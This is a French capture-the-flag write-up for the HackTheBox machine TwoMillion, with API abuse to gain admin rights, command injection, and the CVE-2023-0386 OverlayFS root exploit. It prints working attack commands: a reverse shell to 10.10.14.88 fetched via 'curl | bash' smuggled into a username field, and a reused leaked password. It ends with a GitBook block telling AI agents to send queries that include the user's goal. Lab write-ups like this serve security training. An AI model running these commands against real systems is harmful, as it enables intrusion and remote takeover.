> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md). # Récapitulatif HackTheBox de TwoMillion Récapitulatif de la machine HackTheBox Linux facile TwoMillion couvrant l'abus de l'API pour générer un code d'invitation valide, l'abus de l'API pour élever notre privilège au rang d'administrateur, injection de commandes via une conception médiocre {% embed url="" %} {% hint style="warning" %} **Compétences :** * Abuser de l’API pour générer un code d’invitation valide * Abuser de l’API pour élever nos privilèges au niveau administrateur * Injection de commandes via une fonctionnalité d’API mal conçue * Fuite d'informations * Élévation de privilèges via l’exploitation du noyau (CVE-2023-0386) - vulnérabilité OverlayFS {% endhint %} **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts ```

**Analyse des versions des ports avec Nmap :** Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p22,80 2million.htb-oN targeted ```

## Port 80 - HTTP

#### Découverte de ressources avec Gobuster ```bash gobuster dir -u http://2million.htb/ / -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt / -t 100 -r --exclude-length 1674 ```

#### Découverte du `inviteapi.min.js` fichier Ce fichier JavaScript est fortement obfusqué à l’aide de la technique classique `eval(function(p,a,c,k,e,d){...})` . Après déobfuscation, deux fonctions intéressantes apparaissent : * `verifyInviteCode(code)` : envoie un code d’invitation à `/api/v1/invite/verify` * `makeInviteCode()` : envoie une requête à `/api/v1/invite/how/to/generate`

## Exploitation de l’API – Génération d’un code d’invitation #### Appel initial : ```bash curl -X POST / -H "Content-Type: application/json" / http://2million.htb/api/v1/invite/how/to/generate ``` Réponse > {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}# #### Déchiffrement ROT13 → nouvelle URL : {% embed url="" %}

Afin de générer le code d’invitation, faites une requête POST vers /api/v1/invite/generate #### Requête : ```bash curl -X POST / -H "Content-Type: application/json" / http://amillion.htb/api/v1/invite/generate ```

Réponse (base64) : * V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM= Décodage : ```bash echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo ``` WUOIF-LK68X-HUGTW-DOX1S Nous utilisons ce code pour créer un compte sur le site.

## Exploitation de l’API HackTheBox

#### Observation de l’API En visitant `/api`, nous pouvons observer les routes disponibles.

#### Tentative de génération de la configuration VPN (échec initial) ```bash curl -v -X POST / -H "Content-Type: application/json" / --cookie "session=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate ``` Réponse : Non autorisé.

#### Modification de notre rôle via l’API

Nous testons la modification des paramètres utilisateur avec la route : ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update ``` > {"status":"danger","message":"Missing parameter: email"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}' ``` > {"status":"danger","message":"Missing parameter: is/\_admin"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}' ``` > Réponse : > > {"id":15,"username":"Jordan","is/\_admin":1}

#### Vérification de notre statut d’administrateur ```bash curl -s -X GET / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/auth | jq { "message": true } ```

### RCE via injection de commandes ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}' ```

Tentative d’injection de commande dans le champ `nom d’utilisateur`: ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}' ```

#### Shell inversé 1. **Serveur de fichiers** ```bash echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html python3 -m http.server 80 ``` 2. **Netcat en écoute** ```bash nc -nvlp 443 ``` 3. **Envoi de la commande** ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}' ``` Nous obtenons un shell inversé

## Élévation de privilèges #### Découverte de fichiers sensibles En recherchant les fichiers accessibles depuis notre shell, nous découvrons un `.env` fichier contenant les identifiants de la base de données : ```bash DATABASE=htb_prod USERNAME=admin PASSWORD=SuperDuperPass123 ```

Nous remarquons également la présence d’un second utilisateur nommé `admin`.

#### Réutilisation du mot de passe En testant les identifiants découverts, nous voyons que l’utilisateur système `admin` utilise le **même mot de passe** que le mot de passe de la base de données. ### Drapeau user.txt :)

Cette mauvaise pratique nous permet d’obtenir un **Connexion SSH**: #### Email système

Lors de la connexion, un message nous informe de la présence d’un **nouvel e-mail**. En le lisant, nous obtenons des informations cruciales : > Salut admin, > > Je sais que vous travaillez aussi vite que possible pour effectuer la migration de la base de données. Pendant que nous sommes partiellement hors service, pouvez-vous aussi mettre à niveau l’OS sur notre hôte web ? Il y a déjà eu quelques CVE sérieuses du noyau Linux cette année. Celle dans OverlayFS / FUSE semble mauvaise. On ne peut pas se faire compromettre par ça.

Ce message nous met sur la piste d’une **vulnérabilité connue dans OverlayFS**:/ **CVE-2023-0386** – une vulnérabilité locale d’élévation de privilèges dans le noyau Linux. ## Exploitation de CVE-2023-0386 - élévation de privilèges OverlayFS > OverlayFS permet de superposer des systèmes de fichiers. Dans certaines versions du noyau Linux, une mauvaise gestion de la capacité permet à un utilisateur non privilégié d’exécuter du code avec **des droits root**. {% embed url="" %} **Étapes d’exécution** 1. **Cloner l’exploit** depuis notre machine locale : ```bash git clone https://github.com/puckiestyle/CVE-2023-0386 cd CVE-2023-0386 make all ``` 2. **Transférer les fichiers compilés** vers la machine cible (`scp`, `python -m http.server`, etc.).

2. **Sur la machine cible**, exécutez dans **deux terminaux**: * Terminal A : ```bash ./fuse ./ovlcap/lower ./gc ``` * Terminal B : ```bash ./exp ``` Si tout se passe bien, nous obtenons un **root** shell

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.